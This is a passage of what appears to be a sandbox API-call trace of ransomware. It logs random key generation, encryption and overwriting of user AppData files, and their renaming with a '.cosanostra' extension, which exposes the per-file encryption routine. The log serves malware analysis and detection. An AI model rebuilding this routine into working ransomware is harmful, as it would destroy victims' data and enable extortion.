pbBuffer=0x2abefe0) returned 1 [0099.542] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abefd8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abefd8*=0x30) returned 1 [0099.542] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0099.543] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk") returned 107 [0099.543] StrStrW (lpFirst="rasphone.pbk", lpSrch=".txt") returned 0x0 [0099.543] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.543] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2abef9c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef9c*=0x0, lpOverlapped=0x0) returned 1 [0099.543] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.543] WriteFile (in: hFile=0x160, lpBuffer=0x2abefdc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef9c, lpOverlapped=0x0 | out: lpBuffer=0x2abefdc*, lpNumberOfBytesWritten=0x2abef9c*=0x4, lpOverlapped=0x0) returned 1 [0099.544] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef9c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abef9c*=0x30, lpOverlapped=0x0) returned 1 [0099.544] CloseHandle (hObject=0x160) returned 1 [0099.544] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk.cosanostra") returned 118 [0099.545] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\rasphone.pbk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\network\\connections\\pbk\\_hiddenpbk\\rasphone.pbk.cosanostra")) returned 1 [0099.550] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefd0 | out: pbBuffer=0x2abefd0) returned 1 [0099.550] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27caa0*, pdwDataLen=0x2abefc8*=0x20, dwBufLen=0x30 | out: pbData=0x27caa0*, pdwDataLen=0x2abefc8*=0x30) returned 1 [0099.550] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0099.552] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT") returned 89 [0099.552] StrStrW (lpFirst="Global.MPT", lpSrch=".txt") returned 0x0 [0099.682] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0099.682] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abef8c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef8c*=0x2800, lpOverlapped=0x0) returned 1 [0099.682] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.682] WriteFile (in: hFile=0x160, lpBuffer=0x2abefcc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef8c, lpOverlapped=0x0 | out: lpBuffer=0x2abefcc*, lpNumberOfBytesWritten=0x2abef8c*=0x4, lpOverlapped=0x0) returned 1 [0099.910] WriteFile (in: hFile=0x160, lpBuffer=0x27caa0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef8c, lpOverlapped=0x0 | out: lpBuffer=0x27caa0*, lpNumberOfBytesWritten=0x2abef8c*=0x30, lpOverlapped=0x0) returned 1 [0099.910] CloseHandle (hObject=0x160) returned 1 [0099.911] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT.cosanostra") returned 100 [0099.911] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\MS Project\\14\\1033\\Global.MPT.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\ms project\\14\\1033\\global.mpt.cosanostra")) returned 1 [0100.017] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefc8 | out: pbBuffer=0x2abefc8) returned 1 [0100.017] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abefc0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abefc0*=0x30) returned 1 [0100.017] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.018] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk") returned 139 [0100.018] StrStrW (lpFirst="Windows Media Player (2).lnk", lpSrch=".txt") returned 0x0 [0100.018] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffff9f5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.019] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x60b, lpNumberOfBytesWritten=0x2abef84, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef84*=0x60b, lpOverlapped=0x0) returned 1 [0100.019] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.019] WriteFile (in: hFile=0x160, lpBuffer=0x2abefc4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef84, lpOverlapped=0x0 | out: lpBuffer=0x2abefc4*, lpNumberOfBytesWritten=0x2abef84*=0x4, lpOverlapped=0x0) returned 1 [0100.019] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef84, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abef84*=0x30, lpOverlapped=0x0) returned 1 [0100.019] CloseHandle (hObject=0x160) returned 1 [0100.019] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk.cosanostra") returned 150 [0100.019] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Media Player (2).lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows media player (2).lnk.cosanostra")) returned 1 [0100.021] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefc0 | out: pbBuffer=0x2abefc0) returned 1 [0100.021] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abefb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abefb8*=0x30) returned 1 [0100.021] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.022] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk") returned 131 [0100.022] StrStrW (lpFirst="Windows Explorer.lnk", lpSrch=".txt") returned 0x0 [0100.104] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffb34, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.104] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x4cc, lpNumberOfBytesWritten=0x2abef7c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef7c*=0x4cc, lpOverlapped=0x0) returned 1 [0100.105] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.105] WriteFile (in: hFile=0x160, lpBuffer=0x2abefbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef7c, lpOverlapped=0x0 | out: lpBuffer=0x2abefbc*, lpNumberOfBytesWritten=0x2abef7c*=0x4, lpOverlapped=0x0) returned 1 [0100.105] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abef7c*=0x30, lpOverlapped=0x0) returned 1 [0100.105] CloseHandle (hObject=0x160) returned 1 [0100.105] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.cosanostra") returned 142 [0100.105] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\User Pinned\\TaskBar\\Windows Explorer.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\user pinned\\taskbar\\windows explorer.lnk.cosanostra")) returned 1 [0100.107] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefc0 | out: pbBuffer=0x2abefc0) returned 1 [0100.107] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abefb8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abefb8*=0x30) returned 1 [0100.107] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\launch internet explorer browser.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.108] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk") returned 127 [0100.108] StrStrW (lpFirst="Launch Internet Explorer Browser.lnk", lpSrch=".txt") returned 0x0 [0100.138] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffffa59, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.138] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x5a7, lpNumberOfBytesWritten=0x2abef7c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef7c*=0x5a7, lpOverlapped=0x0) returned 1 [0100.138] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.139] WriteFile (in: hFile=0x160, lpBuffer=0x2abefbc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef7c, lpOverlapped=0x0 | out: lpBuffer=0x2abefbc*, lpNumberOfBytesWritten=0x2abef7c*=0x4, lpOverlapped=0x0) returned 1 [0100.139] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef7c, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abef7c*=0x30, lpOverlapped=0x0) returned 1 [0100.139] CloseHandle (hObject=0x160) returned 1 [0100.139] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk.cosanostra") returned 138 [0100.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\launch internet explorer browser.lnk"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\Launch Internet Explorer Browser.lnk.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\launch internet explorer browser.lnk.cosanostra")) returned 1 [0100.140] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefb8 | out: pbBuffer=0x2abefb8) returned 1 [0100.140] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abefb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abefb0*=0x30) returned 1 [0100.140] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.141] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini") returned 102 [0100.141] StrStrW (lpFirst="desktop.ini", lpSrch=".txt") returned 0x0 [0100.145] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff23, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.145] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0xdd, lpNumberOfBytesWritten=0x2abef74, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef74*=0xdd, lpOverlapped=0x0) returned 1 [0100.145] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.146] WriteFile (in: hFile=0x160, lpBuffer=0x2abefb4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef74, lpOverlapped=0x0 | out: lpBuffer=0x2abefb4*, lpNumberOfBytesWritten=0x2abef74*=0x4, lpOverlapped=0x0) returned 1 [0100.146] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef74, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abef74*=0x30, lpOverlapped=0x0) returned 1 [0100.146] CloseHandle (hObject=0x160) returned 1 [0100.148] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.cosanostra") returned 113 [0100.148] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\desktop.ini.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\desktop.ini.cosanostra")) returned 1 [0100.149] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefb8 | out: pbBuffer=0x2abefb8) returned 1 [0100.149] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abefb0*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abefb0*=0x30) returned 1 [0100.149] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.149] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abefb0 | out: pbBuffer=0x2abefb0) returned 1 [0100.149] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abefa8*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abefa8*=0x30) returned 1 [0100.149] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Internet Explorer\\Quick Launch\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\internet explorer\\quick launch\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0100.474] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef88 | out: pbBuffer=0x2abef88) returned 1 [0100.474] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef80*=0x30) returned 1 [0100.474] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.475] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx") returned 122 [0100.475] StrStrW (lpFirst="Built-In Building Blocks.dotx", lpSrch=".txt") returned 0x0 [0100.489] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.489] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abef44, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef44*=0x2800, lpOverlapped=0x0) returned 1 [0100.490] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.490] WriteFile (in: hFile=0x160, lpBuffer=0x2abef84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef44, lpOverlapped=0x0 | out: lpBuffer=0x2abef84*, lpNumberOfBytesWritten=0x2abef44*=0x4, lpOverlapped=0x0) returned 1 [0100.496] WriteFile (in: hFile=0x160, lpBuffer=0x27c8c0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abef44, lpOverlapped=0x0 | out: lpBuffer=0x27c8c0*, lpNumberOfBytesWritten=0x2abef44*=0x30, lpOverlapped=0x0) returned 1 [0100.496] CloseHandle (hObject=0x160) returned 1 [0100.496] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.cosanostra") returned 133 [0100.496] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Document Building Blocks\\1033\\14\\Built-In Building Blocks.dotx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\document building blocks\\1033\\14\\built-in building blocks.dotx.cosanostra")) returned 1 [0100.498] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abef88 | out: pbBuffer=0x2abef88) returned 1 [0100.498] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c8c0*, pdwDataLen=0x2abef80*=0x20, dwBufLen=0x30 | out: pbData=0x27c8c0*, pdwDataLen=0x2abef80*=0x30) returned 1 [0100.498] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\crypto\\rsa\\s-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0100.498] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\S-1-5-21-3388679973-3930757225-3770151564-1000\\83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f") returned 187 [0100.499] StrStrW (lpFirst="83aa4cc77f591dfc2374580bbd95f6ba_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", lpSrch=".txt") returned 0x0 [0100.499] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffffd3, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0100.500] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x2abef44, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x2abef44*=0x2d, lpOverlapped=0x0) returned 1 [0100.500] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.500] WriteFile (in: hFile=0x160, lpBuffer=0x2abef84*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abef44, lpOverlapped=0x0 | out: lpBuffer=0x2abef84*, lpNumberOfBytesWritten=0x2abef44*=0x4, lpOverlapped=0x0) returned 1 [0100.500] WriteFile 